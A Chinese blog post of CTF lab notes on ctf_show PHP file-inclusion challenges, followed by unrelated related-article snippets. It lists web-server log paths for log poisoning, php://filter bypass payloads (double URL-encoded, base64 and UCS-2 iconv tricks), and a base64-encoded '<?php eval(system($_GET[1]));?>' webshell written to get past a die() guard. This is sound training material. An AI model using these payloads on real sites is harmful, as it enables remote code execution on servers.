ctf_show笔记篇(web入门---文件包含)

目录

文件包含

78-79:最基础的文件包含,使用伪协议,大小写绕过或者通配符绕过,再或者使用其他方法

​编辑80-81:可采用日志文件绕过或者大小写绕过(81只能日志文件绕过)

####80-86:因为条件竞争只在晚上十一点半后开启到早上七点多,所以暂时先不做

87:这里要利用到php伪协议的特性

88:使用data协议通过base64编码绕过

116:通过binwalk扫描文件,然后在用foremost 文件名 -o 要输出的文件 精准输出需要的文件####有时候binwalk不够准确

117:还是使用php伪协议的特性


文件包含

78-79:最基础的文件包含,使用伪协议,大小写绕过或者通配符绕过,再或者使用其他方法

80-81:可采用日志文件绕过或者大小写绕过(81只能日志文件绕过)

日志文件路径:前提是可以访问到日志文件

  • /var/log/apache/access.log
  • /var/log/apache2/access.log
  • /var/log/nginx/access.log

大小写绕过,例如PHP://filter

####80-86:因为条件竞争只在晚上十一点半后开启到早上七点多,所以暂时先不做

87:这里要利用到php伪协议的特性

####看不懂的话可以去看这篇文章来了解php的特性谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)

这里使用urldecode来解码file,那么传入数据的时候就要进行url编码

那么这些过滤就没用了不用管了

payload:

原:file=php://filter/write=convert.base64-decode/resource=a.php

url转换两次后:####浏览器会先自动url解码一次,第二次则是urldecode

file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30

原content=<?php eval(system($_GET[1]));?>

content=aaPD9waHAgZXZhbChzeXN0ZW0oJF9HRVRbMV0pKTs/Pg==

利用php伪协议的特性

  1. base64指定只能只用a-z A-Z 0-9的字符
    所以<?php die('大佬别秀了');?>就会变成phpdie,这里就会直接让他的die无效化
  2. 应为base64只能处理4的倍数的字符串,所以需要在前面多加两个字符
    最后的连接起来的效果应该是phpdieaa和PD9waHAgZXZhbChzeXN0ZW0oJF9HRVRbMV0pKTs/Pg==

88:使用data协议通过base64编码绕过

116:通过binwalk扫描文件,然后在用foremost 文件名 -o 要输出的文件 精准输出需要的文件####有时候binwalk不够准确

过滤以下协议,当没有填入file函数的时候file=sp2.mp4

117:还是使用php伪协议的特性

payload:

file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php

UCS-2LE编码转换为UCS-2BE编码,这个过滤器需要php支持iconv

通过这样可以将<?php die();?>打乱

而contents传入的数据只需要提前以UCS-2LE编码传入转换回来就可以

contents=?<hp pvela$(P_SO[T]a;)>?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/424751.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Julia语言中的关系运算符和逻辑运算符,案例:学生成绩评价系统、猜拳游戏

逻辑运算符 在这里利用三门逻辑写一个猜拳游戏 function gaygay_play() # 定义游戏规则 function judge(player, computer) if player computer return "平局!" elseif (player "scissors" && computer "paper") || (player …

nginx------------缓存功能 ip透传 负载均衡 (六)

一、http 协议反向代理 &#xff08;一&#xff09;反向代理示例:缓存功能 缓存功能可以加速访问&#xff0c;如果没有缓存关闭后端服务器后&#xff0c;图片将无法访问&#xff0c;缓存功能默认关闭&#xff0c;需要开启。 ​ proxy_cache zone_name | off; 默认off #指明调…

SpringCloud-MQ消息队列

一、消息队列介绍 MQ (MessageQueue) &#xff0c;中文是消息队列&#xff0c;字面来看就是存放消息的队列。也就是事件驱动架构中的Broker。消息队列是一种基于生产者-消费者模型的通信方式&#xff0c;通过在消息队列中存放和传递消息&#xff0c;实现了不同组件、服务或系统…

Ajax(黑马学习笔记)

Ajax介绍 Ajax概述 我们前端页面中的数据&#xff0c;如下图所示的表格中的学生信息&#xff0c;应该来自于后台&#xff0c;那么我们的后台和前端是互不影响的2个程序&#xff0c;那么我们前端应该如何从后台获取数据呢&#xff1f;因为是2个程序&#xff0c;所以必须涉及到…

springboot+vue小区物业管理系统

摘 要 随着我国经济发展和城市开发&#xff0c;人们对住房的需求增大&#xff0c;物业管理也得到了发展。但是&#xff0c;基于人工的物业管理仍然是现阶段我国大部分物业管理公司的管理模式&#xff0c;这种管理模式存在管理人员效率低下、工作难度大的问题&#xff0c;同时…

Springboot+vue的医药管理系统(有报告)。Javaee项目,springboot vue前后端分离项目。

演示视频&#xff1a; Springbootvue的医药管理系统&#xff08;有报告&#xff09;。Javaee项目&#xff0c;springboot vue前后端分离项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层…

前缀和 刷题笔记

关键在于 构造前缀和数组 类比前n项和 第n项和等于 前n-1项和加上当前项 s[n]s[n-1]a[n]; #include<iostream> #include<algorithm> #include<cstring> #include<cstdio> using namespace std; int n,m; const int N1e5100; int a[N],s[N]; int ma…

适配器模式在微服务的巧妙应用

适配器模式&#xff08;Adapter Pattern&#xff09;是一种结构型设计模式&#xff0c;它允许不兼容的接口之间可以一起工作。适配器模式通常用于将一个类的接口转换成客户端期望的另一种接口&#xff0c;从而使原本因接口不兼容而不能一起工作的类可以一起工作。 适配器模式的…

图书管理系统(使用IO流实现数据的读取和写入)--version4.0

目录 一、项目要求&#xff1a; 二、项目环境 三、项目使用的知识点 四、项目代码 五、项目运行结果 六、项目难点分析 图书管理系统--versions1.0&#xff1a; 图书管理系统--versions1.0-CSDN博客文章浏览阅读981次&#xff0c;点赞29次&#xff0c;收藏17次。本文使用…

代码随想录算法训练营第四十天|139.单词拆分,多重背包介绍,背包问题总结篇!

系列文章目录 代码随想录算法训练营第一天|数组理论基础&#xff0c;704. 二分查找&#xff0c;27. 移除元素 代码随想录算法训练营第二天|977.有序数组的平方 &#xff0c;209.长度最小的子数组 &#xff0c;59.螺旋矩阵II 代码随想录算法训练营第三天|链表理论基础&#xff…

创建型模式之原型模式

一、概述 1、工作原理&#xff1a;将一个原型对象传给要发动创建的对象(即客户端对象),这个要发动创建的对象通过请求原型对象复制自己来实现创建过程 2、通过克隆方法所创建的对象是全新的对象&#xff0c;它们在内存中拥有新的地址&#xff0c;每一个克隆对象都是独立的 3…

虚拟线程目前不推荐上生产的个人思考

1. pin 线程引发的问题比预期严重&#xff0c;需要修改的库繁多 截止目前 Java 21 虚拟线程一些比较严重的 Bug&#xff1a; 1. Thread.HoldsLock(Object) 这个方法&#xff0c;如果是虚拟线程调用&#xff0c;会在平台线程获取到锁之后&#xff0c;就算切换虚拟线程&#xf…

JavaScript闭包漏洞与修补措施

请先看下面一段代码 var obj (function () {var sonObj {a: 1,b: 2}return {get: function (v) {return sonObj[v]}}})()可以看出,这是一段很典型的js闭包代码,可以通过obj调用get方法传一个参数,如果传的是a就可以得到闭包内的对象sonObj.a var obj (function () {var sonO…

2024真正有效的苹果mac电脑清理工具CleanMyMac X

一、前言 对于Mac用户来说&#xff0c;电脑卡顿、运行缓慢无疑是一件令人头疼的事情。而市面上的清理软件又五花八门&#xff0c;效果参差不齐&#xff0c;如何才能找到一款真正有效的清理工具呢&#xff1f;今天&#xff0c;我们为大家推荐一款实力派电脑清理软件——CleanMy…

Canvs的js库:Fabric.js简单强大,用于绘制各种图形

Fabric.js是一个用于创建交互式的HTML5 Canvas应用程序的JavaScript库。它提供了一个简单而强大的API&#xff0c;用于在Web浏览器中绘制和操作图形对象。Fabric.js可以用于创建各种图形应用程序&#xff0c;例如绘图编辑器、图像编辑器、流程图、地图和数据可视化等。 官网文…

图像物体的边界- 华为OD统一考试(C卷)

OD统一考试&#xff08;C卷&#xff09; 分值&#xff1a; 200分 题解&#xff1a; Java / Python / C 题目描述 给定一个二维数组M行N列&#xff0c;二维数组里的数字代表图片的像素&#xff0c;为了简化问题&#xff0c;仅包含像素1和5两种像素&#xff0c;每种像素代表一个…

C语言中的字符魔法:大小写转换的艺术

引言 在C语言的世界里&#xff0c;字符处理是一项基础且重要的任务。字符作为编程中最基本的元素之一&#xff0c;承担着信息展示、数据交互等多重角色。特别是在处理文本信息时&#xff0c;字符的转换和识别显得尤为重要。大小写字母的转换就是其中一个常见的需求&#xff0c…

STM32作为SPI slave与主机异步通信

背景 最近被测试提了个BUG&#xff0c;说某款产品在用户按下前面板的按键后&#xff0c;对应的按键灯没有亮起来。前面板跟主机是通过SPI口通信&#xff0c;前面板是从机&#xff0c;从机想要主动发送消息&#xff0c;需要通过GPIO中断来通知主机&#xff1a; 上图前面板是ST…

flurl升级之后没有FlurlNewtonsoftJsonSerializer

新建NewtonsoftJsonSerializer.cs /// <summary> /// ISerializer implementation based on Newtonsoft.Json. /// Default serializer used in calls to GetJsonAsync, PostJsonAsync, etc. /// </summary> public class NewtonsoftJsonSerializer : IJsonSerial…

【CSP试题回顾】202312-1-仓库规划

CSP-202312-1-仓库规划 解题思路 定义结构体和变量&#xff1a; 结构体 MyWareHouse&#xff0c;用来存储每个仓库的索引&#xff08;编号&#xff09;和位置编码。定义了整数 n 和 m&#xff0c;分别代表仓库的数量和位置编码的维数。定义了一个 vector<MyWareHouse> 的…